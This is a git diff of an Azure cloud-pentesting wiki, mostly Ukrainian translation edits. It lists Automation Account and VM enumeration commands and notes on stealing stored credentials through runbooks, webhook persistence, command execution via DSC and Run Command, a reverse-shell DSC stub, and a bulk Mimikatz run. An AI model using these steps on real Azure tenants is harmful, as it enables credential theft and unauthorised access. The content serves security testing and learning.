+az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables?api-version=2023-11-01" + +# Get variable details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2023-11-01" + +# Get runbooks of an automation account +az automation runbook list --automation-account-name --resource-group + +# Get runbook details +az automation runbook show --automation-account-name --resource-group --name + +# Get runbook content +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//runbooks//content?api-version=2023-11-01" + +# Get jobs of an automation account +az automation job list --automation-account-name --resource-group + +# Get job details +az automation job show --automation-account-name --resource-group --name + +# Get job output +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" + +# Get the Runbook content when the job was executed +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//runbookContent?api-version=2023-11-01" + +# Get webhooks inside an automation account +## It's possible to see to which runbook it belongs in the given data +## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d +## Generating a webhook can be useful from a persistence perspective +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks?api-version=2018-06-30" + +# Get the source control setting of an automation account (if any) +## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL +aaz automation source-control list --automation-account-name --resource-group + +# Get custom runtime environments +## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli" +az automation runtime-environment list \ +--resource-group > \ +--automation-account-name \ +--query "[?!(starts_with(description, 'System-generated'))]" + +# Get State Configurations (SC) of an automation account +az automation dsc configuration list --automation-account-name --resource-group + +# Get State Configuration details +az automation dsc configuration show --automation-account-name --resource-group --name + +# Get State Configuration content +az automation dsc configuration show-content --automation-account-name --resource-group --name +``` + +```powershell +# Check user right for automation +az extension add --upgrade -n automation +az automation account list # if it doesn't return anything the user is not a part of an Automation group + +# Gets Azure Automation accounts in a resource group +Get-AzAutomationAccount + +# List & get DSC configs +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match ''} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug +## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting) + +# List & get Run books code +Get-AzAutomationAccount | Get-AzAutomationRunbook +Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp + +# List credentials & variables & others +Get-AzAutomationAccount | Get-AzAutomationCredential +Get-AzAutomationAccount | Get-AzAutomationVariable +Get-AzAutomationAccount | Get-AzAutomationConnection +Get-AzAutomationAccount | Get-AzAutomationCertificate +Get-AzAutomationAccount | Get-AzAutomationSchedule +Get-AzAutomationAccount | Get-AzAutomationModule +Get-AzAutomationAccount | Get-AzAutomationPython3Package +## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them + +# List hybrid workers +Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName +``` +## Підвищення привілеїв та постексплуатація + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## Посилання + +- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) +- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) +- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index f9d98811a..de7d3ed58 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -19,13 +19,13 @@ az-azure-network.md - **Зони доступності**: Зони доступності - це окремі групи дата-центрів у конкретному регіоні Azure, які фізично відокремлені, щоб мінімізувати ризик впливу кількох зон через локальні відключення або катастрофи. - **Тип безпеки**: - **Стандартна безпека**: Це тип безпеки за замовчуванням, який не вимагає жодного специфічного налаштування. -- **Довірене завантаження**: Цей тип безпеки підвищує захист від завантажувальних комплектів і шкідливого ПЗ на рівні ядра, використовуючи Secure Boot та Virtual Trusted Platform Module (vTPM). -- **Конфіденційні ВМ**: На основі довіреного завантаження, він пропонує апаратну ізоляцію між ВМ, гіпервізором і управлінням хостом, покращує шифрування дисків і [**більше**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.** +- **Довірене завантаження**: Цей тип безпеки підвищує захист від завантажувальних комплектів і шкідливого ПЗ на рівні ядра, використовуючи Secure Boot і віртуальний модуль безпечної платформи (vTPM). +- **Конфіденційні ВМ**: На додаток до довіреного завантаження, він пропонує апаратну ізоляцію між ВМ, гіпервізором і управлінням хостом, покращує шифрування диска та [**більше**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.** - **Аутентифікація**: За замовчуванням генерується новий **SSH ключ**, хоча можливо використовувати публічний ключ або попередній ключ, а ім'я користувача за замовчуванням - **azureuser**. Також можливо налаштувати використання **пароля.** - **Шифрування диска ВМ:** Диск за замовчуванням шифрується в спокої, використовуючи ключ, керований платформою. -- Також можливо увімкнути **Шифрування на хості**, де дані будуть зашифровані на хості перед відправкою до сервісу зберігання, забезпечуючи шифрування від кінця до кінця між хостом і сервісом зберігання ([**документація**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). +- Також можливо увімкнути **Шифрування на хості**, де дані шифруються на хості перед відправкою до служби зберігання, забезпечуючи шифрування від кінця до кінця між хостом і службою зберігання ([**документація**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). - **Група безпеки мережі NIC**: -- **Немає**: В основному відкриває кожен порт +- **Немає**: В основному відкриває всі порти - **Базова**: Дозволяє легко відкрити вхідні порти HTTP (80), HTTPS (443), SSH (22), RDP (3389) - **Розширена**: Виберіть групу безпеки - **Резервне копіювання**: Можливо увімкнути **Стандартне** резервне копіювання (один раз на день) та **Розширене** (кілька разів на день) @@ -37,20 +37,20 @@ az-azure-network.md - Відсоток споживаних IOPS ОС перевищує 95% - Загальна мережа перевищує 500 ГБ - Загальний вихід мережі перевищує 200 ГБ -- VmAvailabilityMetric менше 1 +- Показник доступності ВМ менше 1 - **Монітор здоров'я**: За замовчуванням перевіряє протокол HTTP на порту 80 -- **Замки**: Дозволяє заблокувати ВМ, щоб її можна було лише читати (**ReadOnly** замок) або її можна було читати та оновлювати, але не видаляти (**CanNotDelete** замок). +- **Замки**: Дозволяє заблокувати ВМ, щоб її можна було лише читати (**ReadOnly** замок) або щоб її можна було читати та оновлювати, але не видаляти (**CanNotDelete** замок). - Більшість ресурсів, пов'язаних з ВМ, **також підтримують замки**, такі як диски, знімки... -- Замки також можуть бути застосовані на **рівнях групи ресурсів та підписки** +- Замки також можуть бути застосовані на **рівнях групи ресурсів і підписки** ## Диски та знімки - Можливо **увімкнути приєднання диска до 2 або більше ВМ** - За замовчуванням кожен диск **шифрується** за допомогою ключа платформи. - Те ж саме стосується знімків -- За замовчуванням можливо **поділитися диском з усіма мережами**, але його також можна **обмежити** лише певним **приватним доступом** або **повністю відключити** публічний і приватний доступ. +- За замовчуванням можливо **поділитися диском з усіх мереж**, але його також можна **обмежити** лише певним **приватним доступом** або **повністю відключити** публічний і приватний доступ. - Те ж саме стосується знімків -- Можливо **згенерувати SAS URI** (максимум на 60 днів) для **експорту диска**, який може бути налаштований на вимогу аутентифікації або ні +- Можливо **згенерувати SAS URI** (максимум на 60 днів) для **експорту диска**, який можна налаштувати на вимогу аутентифікації або ні - Те ж саме стосується знімків {{#tabs}} @@ -150,7 +150,7 @@ Get-AzRestorePointCollection -Name -ResourceGroupName " -VMName "" -Na
-DesiredConfigurationState (DSC) +DesiredStateConfiguration (DSC) -Це **розширення VM**, яке належить Microsoft і використовує PowerShell DSC для управління конфігурацією Azure Windows VMs. Тому його можна використовувати для **виконання довільних команд** у Windows VMs через це розширення: +Це **розширення ВМ**, яке належить Microsoft і використовує PowerShell DSC для управління конфігурацією Azure Windows ВMs. Тому його можна використовувати для **виконання довільних команд** у Windows ВMs через це розширення: ```powershell # Content of revShell.ps1 Configuration RevShellConfig { @@ -601,15 +601,15 @@ Set-AzVMDscExtension `
-Гібридний Runbook Worker +Гібридний робочий процес -Це розширення VM, яке дозволяє виконувати runbook у VMs з облікового запису автоматизації. Для отримання додаткової інформації перегляньте службу [Automation Accounts](../az-automation-account/). +Це розширення VM, яке дозволяє виконувати робочі процеси у VM з облікового запису автоматизації. Для отримання додаткової інформації перегляньте службу [Облікові записи автоматизації](../az-automation-account/index.html).
### Застосунки VM -Це пакети з усіма **даними програми та скриптами для встановлення та видалення**, які можна використовувати для легкого додавання та видалення програм у VMs. +Це пакети з усіма **даними програми та скриптами для встановлення та видалення**, які можна використовувати для легкого додавання та видалення програм у VM. ```bash # List all galleries in resource group az sig list --resource-group --output table @@ -625,9 +625,9 @@ az sig gallery-application list --gallery-name --resource-group < Перевірте, як встановити нові програми в [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) > [!CAUTION] -> Можливо **ділитися окремими додатками та галереями з іншими підписками або орендарями**. Що дуже цікаво, оскільки це може дозволити зловмиснику створити бекдор для програми та перейти до інших підписок і орендарів. +> Можливо **ділитися окремими додатками та галереями з іншими підписками або орендарями**. Що є дуже цікавим, оскільки це може дозволити зловмиснику створити бекдор для програми та перейти до інших підписок і орендарів. -Але **немає "ринку" для vm додатків**, як це є для розширень. +Але **немає "маркетплейсу" для vm додатків**, як це є для розширень. Необхідні дозволи: @@ -725,9 +725,9 @@ az vm application set \ ### Користувацькі дані -Можна передати деякі дані до VM, які будуть зберігатися в очікуваних шляхах: +Можливо передати деякі дані до VM, які будуть зберігатися в очікуваних шляхах: -- У **Windows** користувацькі дані розміщуються в `%SYSTEMDRIVE%\AzureData\CustomData.bin` як бінарний файл і не обробляються. +- У **Windows** користувацькі дані розміщуються в `%SYSTEMDRIVE%\AzureData\CustomData.bin` як бінарний файл, і вони не обробляються. - У **Linux** вони зберігалися в `/var/lib/waagent/ovf-env.xml`, а тепер зберігаються в `/var/lib/waagent/CustomData/ovf-env.xml` - **Агент Linux**: За замовчуванням не обробляє користувацькі дані, потрібен користувацький образ з увімкненими даними - **cloud-init:** За замовчуванням обробляє користувацькі дані, і ці дані можуть бути в [**декількох форматах**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Він може легко виконати скрипт, просто надіславши його в користувацьких даних. @@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt ``` ### **Запустити команду** -Це найосновніший механізм, який Azure надає для **виконання довільних команд у ВМ**. Необхідне дозволи - `Microsoft.Compute/virtualMachines/runCommand/action`. +Це найосновніший механізм, який Azure надає для **виконання довільних команд у ВМ**. Необхідне дозволення - `Microsoft.Compute/virtualMachines/runCommand/action`. {{#tabs }} {{#tab name="Linux" }} @@ -796,13 +796,13 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md {{#endref}} -## Після Експлуатації +## Постексплуатація {{#ref}} ../../az-post-exploitation/az-vms-and-network-post-exploitation.md {{#endref}} -## Постійність +## Персистентність {{#ref}} ../../az-persistence/az-vms-persistence.md